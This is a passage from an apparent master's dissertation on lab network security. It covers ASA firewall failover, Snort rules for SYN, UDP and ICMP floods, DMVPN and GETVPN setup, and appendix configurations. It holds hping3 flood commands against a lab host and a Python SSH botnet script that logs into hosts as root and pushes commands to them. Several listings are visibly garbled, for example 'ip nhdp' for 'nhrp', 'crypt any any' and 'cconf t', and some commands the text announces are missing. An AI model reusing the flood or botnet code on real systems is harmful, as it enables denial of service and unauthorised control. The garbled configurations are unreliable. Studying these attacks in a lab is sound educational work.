The mentioned keep-alive messages and the configuration replication and synchronization, can be seen flowing through the failover link (figure 3.143) and through the monitored interfaces (figures 3.144, 3.145, 3.146 and 3.147). As we can confirm, the time intervals between the keep-alive messages are correct accordingly the ASA firewalls configuration. These messages are used to check if the peer ASA and the monitored interfaces are up, and they are sent as short packets using the IP protocol 105, Space Communications Protocol Specifications (SCPS).

Another messages that are important to address are the ones that allow the ASA firewalls to exchange connection state information between them (figure 3.148). These messages are exchanged through the state link previously configured and use Interior Gateway Routing Protocol (IGRP) to carry information about connection state, routing, etc.

3.2.3.B Tests

In order to test the failover feature, we decided to first define an ACL in the ASA firewall (figure 3.149), that only allows ICMP packets from the Outside zone to the Inside zone, blocking everything else. This
configuration, as the configuration of failover itself, it is only needed in the primary ASA, since it will be replicated in the secondary ASA.

After that, we perform a ping from the Outside PC to the Inside PC and we try a telnet connection to the port 80 HTTP. As expected, only the ping was successful, since the remaining traffic is blocked (figure 3.150). As both ASA were properly operating, the traffic went through the primary firewall (ASA1).

Now we will introduce a failure, by turning off the primary firewall. If we perform the command:
in the ASA2, we will observe that the initially standby firewall (ASA2) is now the active one, since the primary firewall (ASA1) failed (figure 3.151).

If we perform again the ping and the telnet connection we can observe that the firewall behaviour is the same (figure 3.152), so we have the expected high availability. However, the traffic travels through the ASA2, which is now active, since the ASA1 failed.
In order to test the effectiveness of failover, we performed a ping with 1000 ICMP packets, so we can realize how many packets were still delivered and how many were lost during the failure. As we can see (figure 3.153), only 1% of the packets were lost, so we can say that failover was effective in this
experiment and could provide a reliable fault tolerance.

Figure 3.153: Convergence speed of failover during a failure

3.2.4 Snort

Regarding the matter of IDSs we perform some experiments with the tool snort [16]. IDSs allow more detailed analysis of the incoming packets than firewalls. The exploration of this tool is divided in two parts, where first we describe the configuration file (snort.conf), where we set up a series of variables that facilitate our network analysis. Then, we perform some attacks and configure some snort rules that work as countermeasures to this set of attacks. Snort analyses incoming packets looking for certain patterns that correspond to the defined rules, being able to detect an attack. This tool can detect several types of attacks such as DoS, buffer overflows, malware, etc. In this experiment we show how Snort is able to detect 3 different DoS attacks, such as, TCP SYN flood, ICMP flood and UDP flood. In order to perform these experiments we used the GNS3 network tool, where we set up a Kali Linux docker container acting as the attacker, a Docker container with the snort tool installed and a PC to test the network that we want to defend (figure 3.154).

Figure 3.154: Topology used in the snort experiments

3.2.4.A Configuration file

The snort configuration file (snort.conf) is usually located in the /etc/snort directory. We can edit this file through any text editor. In this experiment we used the following command:
In this file we can define the network we intend to defend, the external networks that may generate traffic that we want to control and a set of different servers that our network can possibly have, such as an HTTP server, a DNS server, a SSH server, etc. (figure 3.155). We can also define the ports where we run on different servers like, for instance, HTTP or FTP (figure 3.156).

![Snort IP variables configuration](image1)

![Snort port variables configuration](image2)

We also need to define the set of rules that we will include on our IDS, that can use rules previously created by Snort engineers or the rules created by ourselves (figure 3.157). The snort rules are located in the directory /etc/snort/rules.

### 3.2.4.B Rule definition and attacks

To test the operation of Snort we will define some rules that will detect/prevent a set of DoS attacks. Then we will perform 3 different DoS attacks using the tool hping3 [41], to prove the correct operation of the rules. The first attack that we will perform is the TCP SYN Flood attack, which consists in sending numerous TCP SYN packets to multiple ports of the victim host in order to cause a DoS. The second attack that we will perform is the UDP flood, where the attacker floods multiple ports of the victim with...
UDP packets to cause DoS. The last attack that we will perform is the ICMP flood where we cause DoS by sending numerous ICMP packets to the victim.

The defined rules must be included in a file located at the directory /etc/snort/rules. In this experiment the rules were included in the file local.rules, using the following command to access it:

```bash
nano /etc/snort/rules/local.rules
```

The defined Snort rules were the following:

```snort
alert tcp any any -> $HOME_NET any (msg: "TCP SYN Flood attack";
flow: stateless; flags:S;
detection_filter: track by dst, count 500, seconds 5; sid:1000005;)
alert udp any any -> $HOME_NET any (msg: "UDP Flood attack";
detection_filter: track by dst, count 500, seconds 5; sid:1000006;)
alert icmp any any -> $HOME_NET any (msg: "ICMP Flood attack";
detection_filter: track by dst, count 500, seconds 5; sid:1000007;)
```

where in the first rule we detect a TCP SYN flood attack (lines 1-3), by considering that the attack is happening if more than 500 TCP connections are established in 5 seconds; in the second rule we detect a UDP flood attack (lines 4-6), by considering that the attack is happening if more than 500 UDP connections are established in 5 seconds; in the third rule we detect a ICMP flood attack (lines 7-8), by considering that the attack is happening if more than 500 ICMP requests arrive at our network in 5 seconds. In this configuration we are only detecting the attacks. In order to prevent it, the only thing necessary is to change the "alert" keyword in the rules to the "drop" keyword. This will make Snort drop the packets instead of only displaying alert messages.

After defining the rules we perform each one of the attacks with the Snort running to observe the detection of the attacks. We can launch Snort with the following command:
To perform the TCP SYN flood attack we use hping3 like this:

```
  hping3 -S --flood 192.168.2.100
```

The Snort console displays the detected attack through alert messages (figure 3.158), detecting that the TCP packets are being sent with a frequency that triggers the defined rule for TCP traffic, which happens during a TCP flood attack.

![Figure 3.158: TCP SYN flood attack detection](image)

To perform the UDP flood attack we use hping3 like this:

```
  hping3 --udp --flood 192.168.2.100
```

The Snort console displays the detected attack through alert messages (figure 3.159), detecting that the UDP packets are being sent with a frequency that triggers the defined rule for UDP traffic, which happens during a UDP flood attack.

![Figure 3.159: UDP flood attack detection](image)

To perform the ICMP flood attack we use hping3 like this:

```
  hping3 --icmp --flood 192.168.2.100
```

The Snort console displays the detected attack through alert messages (figure 3.160), detecting that the ICMP packets are being sent with a frequency that triggers the defined rule for ICMP traffic, which happens during a ICMP flood attack.

### 3.2.5 VPNs

Regarding VPNs, our experiments explore two different Cisco technologies that allow VPN implementations based on IPSec, namely, DMVPN and GETVPN.
3.2.5.A DMVPN

For the DMVPN implementation we will use the GNS3 tool to setup a network topology (figure 3.161) where we use 3 PCs (PC1, PC2 and PC3) each one belonging to a private network and 4 Cisco routers, R1 (hub router), R2 and R3 (spoke routers) and RA, that represents the public network. The DMVPN solution will be divided in the 3 different phases of DMVPN and in DMVPN over IPSec.

DMVPN Phase 1

Regarding phase 1, the configurations used in the routers (Appendix A.4) provide, in R1 (hub), a multipoint GRE tunnel interface (command `tunnel mode gre multipoint`), enable NHRP (command `ip nhrp network-id 1`) and statically configure the map between NBMA addresses and tunnel interface addresses (command `ip nhrp map`). In R2 and R3 (spokes), the configurations provide the destination address corresponding to R1 (hub). In RA we only configure one OSPF process (ospf 1) since we only need to indicate the public networks. The routing protocol used is the Open Shortest Path First (OSPF) where we configure two different processes: one to the public addresses (ospf 1) and the other to the private addresses (ospf 2). In R2 and R3 (spokes) we indicate the destination address corresponding to R1 (hub). In RA we only configure one OSPF process (ospf 1) since we only need to indicate the public networks.
After configuring the routers, we will analyse an ICMP packet sent from PC2 to PC3 and the route taken by the packet, in order to understand how the communication between R2 and R3 (spoke routers) works. As we can see in the outer IP header of the ICMP packet in R2 (figure 3.162), the traffic coming from R2 (spoke) has to pass by the hub (R1), where it is forward to the other spoke (R3) (figure 3.163). Observing the traffic travelling at the public interface in each router (figures 3.164, 3.165 and 3.166), we can confirm that the spokes cannot communicate directly between themselves, since all the traffic travels through the hub.

![Figure 3.162: ICMP packet travelling between R2 and R1](image)

![Figure 3.163: ICMP packet travelling between R1 and R3](image)

![Figure 3.164: ICMP packets at the public interface in R2](image)

![Figure 3.165: ICMP packets at the public interface in R1](image)

![Figure 3.166: ICMP packets at the public interface in R3](image)

The hub can route the packets coming from R2 to R3, through the mapping between the NBMA addresses (loopback interfaces) and the tunnel interface addresses (overlay interfaces). This mapping...
appears in the NHRP cache (figure 3.167(a)). In the routing table of R1 (hub) (figure 3.167(b)), it is possible to observe the routes related to the NBMA addresses, provided by OSPF.

![NHRP cache of R1 (hub)](image1)

![Routing table of R1 (hub)](image2)

**Figure 3.167: **DMVPN phase 1 related tables in R1

Finally, we show the OSPF Hello packet sent by R2 (spoke router) (figure 3.168), where we are able to see that the Designated Router (DR) router is R1 (hub).

![OSPF Hello packet coming from R2](image3)

**Figure 3.168: **OSPF Hello packet coming from R2

**DMVPN Phase 2** Regarding phase 2, we present the configurations in Appendix A.5. In this phase the IP addresses of the spoke routers are automatically added to the NHRP cache of the hub (line 8) and we configure multipoint GRE tunnel interfaces in all routers (lines 6, 15 and 26). The remaining configurations stay the same as in the phase 1.

We can observe that the spokes register themselves in the hub through NHRP registration request messages (figures 3.169 and 3.170). The differences in the NHRP cache of the hub, regarding the previous experiment, are that now the mapping between the NBMA addresses and the tunnel interface addresses is dynamic (attribute D that appears in figure 3.171).

As in the phase 1, we will observe as well, how the communication works between the spokes by performing a ping between PC2 and PC3. Initially, the NHRP caches of R2 and R3 only contain the
address mapping of the hub, that was added when the NHRP registration messages were exchanged (figures 3.172(a) and 3.172(b)).

When we perform the ping between PC2 and PC3, the ICMP packets travel first through the hub router (figure 3.173), since R2 (spoke) needs to obtain information about the addresses of R3 (spoke). For that reason, a NHRP resolution message travels between R2 and R1 and subsequently between R1 and R3 (figures 3.174 and 3.175), so R2 can fill its NHRP cache with the address mapping of R3. From this moment, the ping between PC2 and PC3 will travel directly between the two spokes, since their NHRP cache already has the address mapping to the other spoke (3.176(a) and 3.176(b)).

**DMVPN Phase 3** In DMVPN phase 3, we will use the Routing Information Protocol (RIP) as the private network routing protocol and OSPF as the public network routing protocol. RIP is important to make the necessary improvement regarding DMVPN phase 2, due to the split horizon feature that ensures that a spoke network does not include the subnets of other spoke networks, solving the problem in
larger networks, where the spokes would need to have large routing tables. The commands to configure the routers in this experiment are included in Appendix A.6. We change the routers configuration from phase 2, introducing in line 10 a RIP default route and in lines 9, 42 and 74 the NHRP redirection. We also configure RIP as the routing protocol in the private networks (lines 24-28, 56-60 and 92-96).

Initially, after the spokes register themselves at the hub, we can observe the NHRP caches (figures 3.177, 3.178(a) and 3.178(b)) and the routing tables (figures 3.179, 3.180(a) and 3.180(b)) to understand which networks each router knows. The NHRP cache of R1 is already filled, since the spokes are registered, but the caches of R2 and R3 only contain the addresses of the hub, since they have not
communicated yet. The routing table of R1 already contains the networks provided by OSPF (NBMA addresses) and the networks provided by RIP (private network). The routing tables of R2 and R3 contain the networks provided by OSPF (NBMA addresses) and the default route provided by RIP, which make the spokes use the hub as the next-hop.

To observe how the communication occurs between the spokes we do a ping between PC2 and PC3. The first ICMP packet will go through the hub router before arriving to the other spoke (figure 3.181). This will trigger a NHRP traffic indication message (figure 3.182), that the hub will send to R2 (source spoke) used to inform R2 that there is a better path to communicate with R3 (destination spoke).

Then R2 will send a NHRP resolution request to the hub, and the hub will forward the message to R3 (figure 3.183). Subsequently, R3 will send the NHRP resolution reply directly to R2 (figure 3.184). After that exchange of NHRP messages, the NHRP caches of spoke routers will be refreshed, and will now include the address mapping of the other spoke respectively (figures 3.185(a) and 3.185(b)).
Figure 3.179: R1 routing table with RIP and OSPF networks

(a) R2 routing table with RIP and OSPF networks  (b) R3 routing table with RIP and OSPF networks

Figure 3.180: Spokes routing tables after registration

Figure 3.181: ICMP packet traveling between the spokes going through the hub

The routing tables of spokes will also be refreshed, by including shortcut routes, provided by NHRP, that allow them to communicate directly (figures 3.186(a) and 3.186(b)), as we can observe in the ICMP packet that follows the first one (figure 3.187). DMVPN over IPSec Lastly, we will make the DMVPN a secure implementation by adding IPSec. For that purpose, we will use the configurations presented in
DMVPN phase 3, adding the configuration of IPSec and applying it to the tunnel interfaces in R1 (hub), R2 and R3 (spokes) (Appendix A.7).

We configure an ISAKMP policy analogous to the routers R1, R2 and R3 (hub and spokes) (lines 2-5), the pre-shared key (line 6), the IPSec transform set (lines 7-8) and the IPSec profile (lines 9-10). This transform set is using ESP as the IPSec protocol, but it can also be configured to use AH. The transform set is in transport mode but it can also be configured to use tunnel mode. After configuring the IPSec we apply it to the tunnel interfaces in the routers (lines 13-14).

Comparing with the previous experiment, regarding the routing tables and NHRP caches there are no differences, since IPSec only adds security to our tunnels. First we use IPSec with ESP, that will protect the RIP traffic and all the data traffic that will travel in our tunnels. For example, as in sending ICMP traffic from PC1 and PC2, we have all the data encrypted (figure 3.188).

After that, we configure IPSec to use AH, that do not provide as much protection as ESP, since the data is not encrypted (figure 3.189).

We also configure IPSec to use transport mode instead of tunnel mode, so an extra IP header is not added, which avoids overhead in our experiment and provides a better analysis.
To the proper operation of IPSec, each router has to contain the same SA as their peer. In figures 3.190 and 3.191 we observe the messages that correspond to the IKE two phase negotiation of R1 and R2. The phase 1 of IKE appears in the figures as the main mode and it is where the peers authenticate...
themselves using a pre-shared key. The phase 2 of IKE appears in the figures as the quick mode and it is where the algorithms are exchanged between peers in order to establish a tunnel.

| 1991 6841.633782 | 1.1.1.1 | 2.2.2.2 | ISAKMP | 210 500 | Identity Protection (Main Mode) |
| 1993 6841.402913 | 1.1.1.1 | 3.3.3.3 | ISAKMP | 210 500 | Identity Protection (Main Mode) |

Figure 3.190: IPSec SAs of R1

| 1891 6174.637426 | 2.2.2.2 | 1.1.1.1 | ISAKMP | 410 500 | Identity P |
| 1894 6175.626302 | 2.2.2.2 | 1.1.1.1 | ISAKMP | 118 500 | Identity P |
| 1896 6176.758995 | 2.2.2.2 | 1.1.1.1 | ISAKMP | 214 500 | Quick Mode |
| 1944 6313.274855 | 2.2.2.2 | 3.3.3.3 | ISAKMP | 150 500 | Identity P |
| 1947 6312.278421 | 2.2.2.2 | 3.3.3.3 | ISAKMP | 410 500 | Identity P |
| 1951 6313.165480 | 2.2.2.2 | 3.3.3.3 | ISAKMP | 118 500 | Identity P |

Figure 3.191: IPSec SAs of R2

3.2.5.B GETVPN

In the GETVPN implementation we will use the tool GNS3 to setup a network with 3 PCs (PC1, PC2 and PC3) and 4 Cisco routers, R1 (KS) and R2, R3 and R4 (GMs) with the network topology of figure 3.192. The configurations used in the routers is included in Appendix A.8.

To configure the KS we need to setup the IKE phase 1 policies (lines 11-16), the transform set (line 17), the IPSec profile (lines 18-19), the RSA key pair to sign the rekey messages (line 20), the traffic allowed (lines 21 and 22), the GDOI group (lines 23-28) and the IPSec policy (lines 29-31). Regarding the GMs we need to configure the IKE phase 1 (lines 50-55), the transform set (line 56), the GDOI (lines 57-59), the crypto map (lines 60-61) and we need to apply the crypto map to an interface (lines 62-63).

After the configuration of our network, when we switch on the equipment, we can observe the ISAKMP messages exchanged between the GMs and the KS, where we have the messages that corre-
spond to the IKE phase 1 (main mode) and to the GROUPKEY-PULL (quick mode) (figures 3.193, 3.194 and 3.195). The IKE phase 1 messages allow the SA negotiation to build the tunnel that protects the GDOI protocol. The GROUPKEY-PULL messages allow the KS to provide the security policies and the keys, TEK and KEK.

![Figure 3.193: IKE phase 1 and GROUPKEY-PULL messages R1](image1)

![Figure 3.194: IKE phase 1 and GROUPKEY-PULL messages R2](image2)

![Figure 3.195: IKE phase 1 and GROUPKEY-PULL messages R3](image3)

After that, we can analyse the configuration of the protocol GDOI, where we can observe information such as the number of group members, group rekey and IPSec (figure 3.196). We can also observe information about each GM in the KS, such as the GM id, the group name, the group type, the GM state and the number of rekeys sent by each one of them (figure 3.197). And we can also observe the association established by a GM in the defined group (figure 3.198) where we can observe, for example, the allowed traffic.

Since we already checked all the configurations in KS and in GMs we can perform a ping between PC1 and PC2 and between PC1 and PC3, where we can observe that the ICMP packets are protected by IPSec, using ESP (figures 3.199 and 3.200). We can see that all these messages contain the same Security Parameter Index (SPI)s, since all their security parameters are the same (SA and keys), due to all GMs belonging to the same KS (figures 3.201(a), 3.201(b) and 3.202).

Finally, we analyse the matter of TEK key refreshing, where we changed the refreshing time to 900 seconds in the IPSec SA Rekey Lifetime showed in figure 3.203, so we could observe it in this experiment.
(the default lifetime for rekey was 3600 seconds). This change can be done with the following command:

```
set security-association lifetime seconds 900
```

inserted in the IPSec profile of KS. The rekey process occurs through ISAKMP messages exchanged between the KS and GMs (figure 3.204), where the KEK and TEK are modified.
Figure 3.197: Information about group members in the KS

Figure 3.198: Information about the SA created for the group in a GM
Figure 3.199: ESP packets travelling between PC1 and PC2

Figure 3.200: ESP packets travelling between PC1 and PC3

Figure 3.201: Group Members SPIs

Figure 3.202: Information the keys in KS (including SPI)
Figure 3.203: IPSec SA rekey lifetime modified

Figure 3.204: ISAKMP messages responsible for rekeing
Conclusion

Contents

4.1 Discussion ................................................................. 133
4.2 Future work .............................................................. 133
4.1 Discussion

Cybersecurity is a vital issue in today’s Internet, and if not addressed carefully, it can bring disastrous consequences to networks and equipment. Efficiently securing Layer-2 is relevant since the existent vulnerabilities affect some of the most used protocols at that level. Providing AAA is essential as well, because whoever enters in a network must be allowed to do so, have permissions defined and get their actions registered. Firewalls are responsible for inspecting the incoming/outcoming packets of our network, introducing innovative concepts such as DMZ. IDS and IPS work at inspecting the traffic in our network, based on rules defined to categorize the traffic. VPNs, namely those based on IPSec, ensure that the information traveling through networks stays secure. To test and explore possible vulnerabilities, the Kali Linux distribution displays a gathering of tools, to perform attacks of different types in order to accomplish the best security practices.

In this MSc dissertation, we organised the work in two different parts: network attacks and network protection. In network attacks, we performed several experiments regarding Layer-2, namely a CAM overflow attack, a DHCP spoofing, a DHCP starvation, an ARP spoofing attack, a STP manipulation, DTP attack, a VLAN double tagging, a PVLAN proxy and a MAC address spoofing, as well as the corresponding countermeasures. We also performed experiments addressing three DNS attacks, such as DNS spoofing, DNS Kaminsky and DNS tunneling. We created a SSH botnet implementation using Python. And we developed a Layer-2 tool, using Scapy, where we can build packets from scratch, which allows us to deploy some of the Layer-2 attacks early approached.

In network protection we implemented a solution covering the AAA matter. We also developed experiments with two types of firewalls and we compared the difference between these implementations. We developed an experiment with the technology Snort to illustrate the operation of an IDS system. We approached the matter of high availability in firewalls. And lastly, we elaborated a solution with two different Cisco approaches to IPSec based VPNs, namely DMVPN and GETVPN.

The virtual environment developed in this dissertation was shown to be a flexible tool for exploring network security attacks and countermeasures.

4.2 Future work

Although we perform multiple experiments regarding network attacks and network protection, there is the possibility to assemble some of these experiments together, in order to simulate complex attacks to a real organisation network. It is also attainable to configure multiple network protection measures in order to simulate an organisation network security infrastructure.
Bibliography


A

Code used in experiments

Listing A.1: ZBP configurations for traffic control

```plaintext
conf t
zone security IN1
zone security IN2
zone security DMZ
zone security OUT
exit

interface f0/0
zone-member security IN1
interface f1/0
zone-member security IN2
interface f1/1
zone-member security OUT
interface f2/0
zone-member security DMZ

ip access-list extended BLOCK_SERVERS
permit ip 192.168.1.0 0.0.255.255 host 100.0.0.1
```
permit ip 192.168.1.0 0.0.0.255 host 100.0.0.2
permit ip 192.168.2.0 0.0.0.255 host 100.0.0.1
permit ip 192.168.2.0 0.0.0.255 host 100.0.0.2
permit ip 100.0.0.0 0.0.0.255 host 100.0.0.1
permit ip 100.0.0.0 0.0.0.255 host 100.0.0.2

ip access-list extended BLOCK_DNS
permit ip any 200.0.0.1 0.0.0.255

ip access-list extended DMZ_TO_OUT
permit ip 100.0.0.0 0.0.0.255 200.0.0.0 0.0.0.255

ip access-list extended OUT_TO_DMZ
permit ip 200.0.0.0 0.0.0.255 host 100.0.0.1
permit ip 200.0.0.0 0.0.0.255 host 100.0.0.2

ip access-list extended SSH_FIREWALL
permit ip any host 192.168.1.254
permit ip any host 192.168.2.254
permit ip any host 200.0.0.254
permit ip any host 100.0.0.254

class-map type inspect match-any PROTOCOLS_IN_TO_OUT
match protocol http
match protocol https
match protocol icmp
match protocol dns

class-map type inspect match-all CLASSMAP_IN_TO_OUT
match access-group name BLOCK_DNS
match class-map PROTOCOLS_IN_TO_OUT

class-map type inspect match-any PROTOCOLS_DMZ
match protocol http
match protocol https
match protocol icmp
match protocol pop3
match protocol imap
match protocol smtp

class-map type inspect match-all CLASSMAP_DMZ
match access-group name BLOCK_SERVERS
match class-map PROTOCOLS_DMZ

class-map type inspect match-any PROTOCOLS_DMZ_OUT
match protocol icmp

class-map type inspect match-all CLASSMAP_DMZ_OUT
match access-group name DMZ_TO_OUT
match class-map PROTOCOLS_DMZ_OUT

class-map type inspect match-any PROTOCOLS_OUT_TO_DMZ
match protocol http
match protocol https
match protocol icmp
match protocol smtp
class-map type inspect match-all CLASSMAP_OUT_TO_DMZ
match access-group name OUT_TO_DMZ
match class-map PROTOCOLS_OUT_TO_DMZ

class-map type inspect match-any PROTOCOLS_SSH_FIREWALL
match protocol ssh
class-map type inspect match-all CLASSMAP_SSH_FIREWALL
match access-group name SSH_FIREWALL
match class-map PROTOCOLS_SSH_FIREWALL

policy-map type inspect PM_CLASSMAP_IN_TO_OUT
class type inspect CLASSMAP_IN_TO_OUT
inspect
class class-default
drop log

policy-map type inspect PM_DMZ
class type inspect CLASSMAP_DMZ
inspect
class class-default
drop log

policy-map type inspect PM_DMZ_OUT
class type inspect CLASSMAP_DMZ_OUT
inspect
class class-default
drop log

policy-map type inspect PM_OUT_TO_DMZ
class type inspect CLASSMAP_OUT_TO_DMZ
inspect
class class-default
drop log

policy-map type inspect PM_TO_FIREWALL
class type inspect CLASSMAP_SSH_FIREWALL
pass
class class-default
drop log

zone-pair security IN_OUT1 source IN1 destination OUT
service-policy type inspect PM_CLASSMAP_IN_TO_OUT

zone-pair security IN_OUT2 source IN2 destination OUT
service-policy type inspect PM_CLASSMAP_IN_TO_OUT

zone-pair security IN_DMZ1 source IN1 destination DMZ
service-policy type inspect PM_DMZ

zone-pair security IN_DMZ2 source IN2 destination DMZ
service-policy type inspect PM_DMZ

zone-pair security DMZ_OUT source DMZ destination OUT
Listing A.2: ZBPF configurations for detecting DoS attacks

```
conf t
zone security IN
zone security OUT

interface f0/0
zone-member security IN
interface f1/0
zone-member security OUT

ip access-list extended TO_SERVER
permit ip any host 10.0.2.1

class-map type inspect match-any PRO_JMP
match protocol icmp

class-map type inspect match-any PRO_HTTP
match protocol http

class-map type inspect match-all CLASSMAP_HTTP
match access-group name TO_SERVER
match class-map PRO_HTTP

class-map type inspect match-all CLASSMAP_ICMP
match access-group name TO_SERVER
match class-map PRO_ICMP

policy-map type inspect PM_HTTP_ICMP
class type inspect CLASSMAP_HTTP
inspect
policy rate 128000 burst 8000

class type inspect CLASSMAP_ICMP
inspect
```
def __init__(self, host_IP, user, password, port):
    self.host = host_IP
    self.user = user
    self.password = password
    self.port = port
    self.session = self.connect()

def connect(self):
    try:
        bot = pxssh.pxssh()
        bot.login(self.host_IP, self.user, self.password,
                  self.port, auto_prompt_reset=False)
        return bot
    except Exception as e:
        print("Connection failure.")
        print(e)

def send_command(self, cmd):
    self.session.sendline(cmd)
    self.session.prompt()
    return self.session.before

def command_bots(command):
    for bot in botnet:
        attack = bot.send_command(command)
        print("Output from " + bot.host_IP)
        print(attack)

def add_bot(host_IP, user, password, port):
    new_bot = Bot(host_IP, user, password, port)
    botnet.append(new_bot)

botnet = []
add_bot("10.0.2.1", "root", "gns3", "22")
add_bot("10.0.4.1", "root", "gns3", "22")
command_bots("ip a")
Listing A.4: DMVPN phase 1 network configuration

```plaintext
#R1
conf t
interface Tunnel 0
ip add 10.10.10.1 255.255.255.0
tunnel source lo0
tunnel mode gre multipoint
ip nhrp network-id 1
ip nhrp map 10.10.10.2 2.2.2.2
ip nhrp map 10.10.10.3 3.3.3.3
ip nhrp map multicast 2.2.2.2
ip nhrp map multicast 3.3.3.3
ip ospf network broadcast
ip ospf 2 area 0
exit
interface g0/0
ip add 200.1.1.1 255.255.255.0
no shut
exit
interface lo0
ip add 1.1.1.1 255.255.255.255
no shut
exit
router ospf 1
network 1.1.1.1 0.0.0.0 area 0
network 200.1.1.0 0.0.0.255 area 0
exit
router ospf 2
network 192.168.1.0 0.0.0.255 area 0
end
wr

#R2
conf t
interface Tunnel 0
ip add 10.10.10.2 255.255.255.0
tunnel source lo0
tunnel destination 1.1.1.1
tunnel mode gre ip
ip ospf network broadcast
ip ospf priority 0
ip ospf 2 area 0
exit
interface g0/0
ip add 200.2.2.2 255.255.255.0
no shut
exit
interface lo0
ip add 2.2.2.2 255.255.255.255
no shut
exit
router ospf 1
```

144
network 2.2.2.2 0.0.0.0 area 0
network 200.2.2.0 0.0.0.255 area 0
exit
router ospf 2
network 192.168.2.0 0.0.0.255 area 0
end
wr

#R3
conf t
interface Tunnel 0
ip add 10.10.10.3 255.255.255.0
tunnel source lo0
tunnel destination 1.1.1.1
tunnel mode gre ip
ip ospf network broadcast
ip ospf priority 0
ip ospf 2 area 0
interface g0/1
ip add 192.168.3.3 255.255.255.0
ip ospf 2 area 0
no shut
exit
interface g0/0
ip add 200.3.3.3 255.255.255.0
no shut
exit
interface lo0
ip add 3.3.3.3 255.255.255.255
no shut
exit
router ospf 1
network 3.3.3.3 0.0.0.0 area 0
network 200.3.3.0 0.0.0.255 area 0
exit
router ospf 2
network 192.168.3.0 0.0.0.255 area 0
end
wr

#RA
conf t
interface g0/0
ip add 200.1.1.10 255.255.255.0
no shut
exit
interface g0/1
ip add 200.2.2.10 255.255.255.0
no shut
exit
interface g0/2
ip add 200.3.3.10 255.255.255.0
no shut
Listing A.5: DMVPN phase 2 network configuration

```
#R1
conf t
interface Tunnel 0
ip add 10.10.10.1 255.255.255.0
tunnel source lo0
tunnel mode gre multipoint
ip nhrp network-id 1
ip nhrp map multicast dynamic

#R2
conf t
interface Tunnel 0
ip add 10.10.10.2 255.255.255.0
tunnel source lo0
tunnel mode gre multipoint
ip nhrp map 10.10.10.1 1.1.1.1
ip nhrp map multicast 1.1.1.1
ip nhrp nhs 10.10.10.1
ip nhrp network-id 1

#R3
conf t
interface Tunnel 0
ip add 10.10.10.3 255.255.255.0
tunnel source lo0
tunnel mode gre multipoint
ip nhrp map 10.10.10.1 1.1.1.1
ip nhrp map multicast 1.1.1.1
ip nhrp nhs 10.10.10.1
ip nhrp network-id 1
```

Listing A.6: DMVPN phase 3 network configuration

```
#R1
conf t
interface Tunnel 0
ip add 10.10.10.1 255.255.255.0
tunnel source lo0
tunnel mode gre multipoint
```
ip nhdp network-id 1
ip nhdp map multicast dynamic
ip nhdp redirect
ip summary-address rip 0.0.0.0 0.0.0.0
exit
interface g0/0
ip add 200.1.1.1 255.255.255.0
no shut
exit
interface lo0
ip add 1.1.1.1 255.255.255.255
no shut
exit
router ospf 1
network 1.1.1.1 0.0.0.0 area 0
network 200.1.1.0 0.0.0.255 area 0
exit
router rip
version 2
no auto-summary
network 192.168.1.0
network 10.10.10.0
end
wr

#R2
conf t
int Tunnel 0
ip add 10.10.10.2 255.255.255.0
tunnel source lo0
tunnel mode gre multipoint
ip nhdp map 10.10.10.1 1.1.1.1
ip nhdp map multicast 1.1.1.1
ip nhdp nhs 10.10.10.1
ip nhdp network-id 1
ip nhdp shortcut
exit
int g0/0
ip add 200.2.2.2 255.255.255.0
no shut
exit
int lo0
ip add 2.2.2.2 255.255.255.255
no shut
exit
router ospf 1
network 2.2.2.2 0.0.0.0 area 0
network 200.2.2.0 0.0.0.255 area 0
exit
router rip
version 2
no auto-summary
network 192.168.2.0
Listing A.7: DMVPN over IPSec network configuration

```conf
cRYPTO ISAKMP POLICY 10
  ENCRYPTION AES 256
  AUTHENTICATION PRE-SHARE
  GROUP 5
  CRYPTO ISAKMP KEY SAAR ADDRESS 0.0.0.0
  CRYPTO IPSec TRANSFORM-SET myTSet esp-aes esp-sha-hmac
  MODE TRANSPORT
  CRYPTO IPSec PROFILE myIPSecProfile
```
set transform-set myTSet
exit
interface tunnel 0
tunnel protection ipsec profile myIPSecProfile
end
wr

Listing A.8: GETVPN network configuration

#R1

cconf t
int g0/0
ip add 192.168.1.254 255.255.255.0
no shut
exit
router ospf 1
network 192.168.1.0 0.0.0.255 area 0
exit
crypto isakmp policy 10
crypt encryption aes
crypt hash sha
crypt authentication pre-share
crypt group 5
crypto isakmp key saar address 0.0.0.0
crypto ipsec transform-set myTSet esp-aes esp-sha-hmac
crypto ipsec profile myIPSecProfile
crypto transform-set myTSet
crypto key generate rsa modulus 1024 label myRSAKeys
crypt access-list extended ICMP
crypt any any
crypt gdoi group myGDOIGroup
identity number 123
server local
address ipv4 192.168.1.254
rekey authentication mypubkey rsa myRSAKeys
rekey transport unicast
sa ipsec 10
profile myIPSecProfile
match address ipv4 ICMP
end
wr

#R2

cconf t
int g0/0
ip add 192.168.1.2 255.255.255.0
no shut
exit
int g0/1
ip add 192.168.10.2 255.255.255.0
no shut
exit
router ospf 1
network 192.168.1.0 0.0.0.255 area 0
network 192.168.10.0 0.0.0.255 area 0
exit
crypto isakmp policy 10
encryption aes
hash sha
authentication pre-share
group 5
crypto isakmp key saar address 192.168.1.254
crypto ipsec transform-set TRANSFORM,SET esp-aes esp-sha-hmac
crypto gdoi group myGDOIGroup
identity number 123
server address ipv4 192.168.1.254
crypto map myCryptoMap 10 gdoi
set group myGDOIGroup
int g0/0
crypto map myCryptoMap
end
wr

#R3

conf t
int g0/0
ip add 192.168.1.3 255.255.255.0
no shut
exit
int g0/1
ip add 192.168.20.3 255.255.255.0
no shut
exit
router ospf 1
network 192.168.1.0 0.0.0.255 area 0
network 192.168.20.0 0.0.0.255 area 0
exit
crypto isakmp policy 10
encryption aes
hash sha
authentication pre-share
group 5
crypto isakmp key saar address 192.168.1.254
crypto ipsec transform-set TRANSFORM,SET esp-aes esp-sha-hmac
crypto gdoi group myGDOIGroup
identity number 123
server address ipv4 192.168.1.254
crypto map myCryptoMap 10 gdoi
set group myGDOIGroup
int g0/0
crypto map myCryptoMap
conf t
int g0/0
ip add 192.168.1.4 255.255.255.0
no shut
exit
int g0/1
ip add 192.168.30.4 255.255.255.0
no shut
exit
router ospf 1
network 192.168.1.0 0.0.0.255 area 0
network 192.168.30.0 0.0.0.255 area 0
exit
crypto isakmp policy 10
encryption aes
hash sha
authentication pre-share
group 5
crypto isakmp key saar address 192.168.1.254
crypto ipsec transform-set TRANSFORM,SET esp-aes esp-sha-hmac
crypto gdoi group myGDOIGroup
identity number 123
server address ipv4 192.168.1.254
crypto map myCryptoMap 10 gdoi
set group myGDOIGroup
int g0/0
crypto map myCryptoMap
end
wr

Listing A.9: Layer-2 Tool source code

